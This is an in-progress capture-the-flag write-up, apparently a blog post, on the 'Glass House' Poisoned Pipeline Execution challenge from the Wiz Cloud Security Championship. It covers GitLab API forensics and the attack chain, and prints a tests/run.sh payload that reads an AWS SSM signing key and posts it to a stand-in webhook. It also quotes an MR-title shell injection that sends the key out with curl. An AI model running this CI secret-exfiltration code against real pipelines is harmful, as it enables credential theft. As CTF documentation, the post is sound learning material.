Glass House: Live From the Rabbit Hole

Series: Wiz Cloud Security Championship

Challenge: Glass House

Status: In progress. First 24 hours.

Date: May 29, 2026

This post is being written while my GitLab CI job sits at "pending" and a webhook inbox sits empty. The poller is running. The flag is not.

I've spent the last year working through the Wiz Cloud Security Championship: twelve monthly challenges covering everything from reverse-engineering garble-obfuscated Go malware to Terraform state file poisoning to Kubernetes privilege escalation. Eleven flags captured, eleven writeups published. Challenge 12, "Glass House," is the finale. And it is not going quietly.

Glass House: The Setup

Wiz open-sourced the CTF platform itself. The repo lives on a custom GitLab instance at git.cloudsecuritychampionship.com, and the challenge is straightforward in premise: find the bug, get the signing key from AWS SSM Parameter Store, compute your personalized HMAC flag, submit it. The key is locked behind an IAM role that only the CodeBuild service role can access. The build runs bash tests/run.sh from whatever branch it checks out, unpinned and unvalidated. Classic Poisoned Pipeline Execution.

The PPE is the easy part. The hard part is making CodeBuild actually run your code.

Glass House: GitLab API Forensics

What followed was one of the most thorough GitLab API forensics sessions I've ever done. I enumerated every pipeline, every push event, every branch, every commit status, every member, every access level, and every bot account across two GitLab instances. Here's the condensed version of what I found, and what I ruled out.

Dead Ends, Confirmed With Evidence

Fork merge requests don't trigger CodeBuild. Across 95 forks and hundreds of MRs, zero fork-originated pipelines on the upstream project. The CodeBuild webhook fires on direct pushes to project 1, and participants can't push to project 1. I confirmed this by enumerating every pipeline's source, ref, and sha, then cross-referencing with the push event log. Every successful build corresponded to a branch pushed by an NPC contributor account, never a fork.

Commit status forgery is locked. The codebuild-bot account (Developer on project 1) posts all external statuses. Participants can't write statuses to project 1. I verified by checking the authorship of every status on main.

Access escalation doesn't exist. Project 1's membership is entirely Wiz-side: nir at Owner, codebuild-bot at Developer, and ~20 NPC accounts at Developer. main is protected at Maintainer level. request_access_enabled is true but not auto-approved.

No permissions misconfig. No readable deploy keys. No exposed CI variables. No group-level inheritance that would grant fork authors anything beyond what the public visibility provides.

The Break: A Second GitLab Instance

The commit statuses from CodeBuild pointed to gitlab-proto.wiz-research.com, and it's publicly accessible. Same user database, same authentication, but separate git storage with a replication delay. This is where CodeBuild's webhook is configured. The entire field was banging on the wrong door.

The Attack Chain, As Reconstructed From Solver Forensics

One solver injected shell commands into MR titles, $(curl ... $(aws ssm get-parameter ...)), exploiting the fact that CodeBuild's buildspec interpolates the title into a shell. Another modified tests/run.sh to read the key via boto3 and post it to their webhook. A third used conftest.py to run mark_solve.py and exfil the result. All valid PPE variants. The vector isn't the mystery.

The mystery is the trigger.

Glass House: Down the Rabbit Hole

The third-place finisher described it this way: "The craziest part: the top placements came down to one brutal factor, landing the required GitLab UID at the right time." The first-place finisher called the instance "temperamental." Another solver spent six hours hunting for the right ID.

I've created 75+ project access token bots, posted /codebuild_run slash commands from every one of them, pushed to both instances, created MRs through both APIs, and queued GitLab CI jobs that sat pending for 90 minutes before a runner briefly appeared and then vanished. The instance goes down, comes back up, and the window for triggering a build is apparently narrow and contested.

Right now I have a CI job sitting in the queue with a resilient pipeline config, a tests/run.sh payload ready to read the signing key and POST it to my webhook, and a poller checking the job status every 60 seconds. The hints are supposed to drop 48 hours after launch, which should be tomorrow.

Glass House: What I Know

The complete attack chain:

  1. Fork the platform repo.
  2. Modify tests/run.sh to exfiltrate the signing key via boto3 and SSM GetParameter.
  3. Get CodeBuild to check out your fork branch and execute the build (the unsolved piece).
  4. Receive the signing key at your webhook.
  5. Compute HMAC-SHA256(key, "12:your@email")[:24].
  6. Submit WIZ_CTF{...} on the platform.

The exfiltration payload, in concept. This is the part that runs once the trigger fires, inside CodeBuild, with the service role's credentials in scope:

#!/usr/bin/env bash
# tests/run.sh staged in my fork
set -euo pipefail

python3 - <<'PY'
import json
import urllib.request
import boto3

ssm = boto3.client("ssm", region_name="us-east-1")
resp = ssm.get_parameter(
    Name="/ctf/challenge-12/signing-key",
    WithDecryption=True,
)
key = resp["Parameter"]["Value"]

req = urllib.request.Request(
    "https://my.webhook.example/recv",
    data=json.dumps({"key": key}).encode("utf-8"),
    headers={"Content-Type": "application/json"},
)
urllib.request.urlopen(req, timeout=10).read()
PY

Then the local side, once the key lands at the webhook:

import hashlib
import hmac

key = b"...the value exfilled from SSM..."
msg = b"12:your@email"
flag = "WIZ_CTF{" + hmac.new(key, msg, hashlib.sha256).hexdigest()[:24] + "}"
print(flag)

The CodeBuild project is platform-ci in AWS account 370540381921, region us-east-1, the same account I identified in Challenge 10 via s3:ResourceAccount brute-force. The signing key lives at /ctf/challenge-12/signing-key in SSM Parameter Store, accessible only to the CodeBuild service role.

Glass House: What I Don't Know

How to make CodeBuild fire. That's it. One piece. The trigger condition is buried in the private Terraform config, and whatever UID / timing / instance-state condition gates it is the thing 16 solvers have navigated and I haven't, yet.

Glass House: Where This Goes

The hints drop tomorrow. Everything is staged. When the trigger mechanism is revealed I'm minutes from the flag, the webhook is set, the payload is committed, the HMAC formula is confirmed. Whether this becomes a 12/12 writeup or an 11/12-plus-the-best-documented-near-miss depends on what happens in the next 24 hours.

Either way, "Glass House" earned its name. Everything is visible: the repo, the API, the build statuses, the solver artifacts. You can see the entire mechanism through the glass. You just can't touch it from the outside.

Job 4717 status: pending.

This is part of an ongoing series documenting the Wiz Cloud Security Championship. Previous writeups: nerdymark.com/wiz-cloud-security-championship.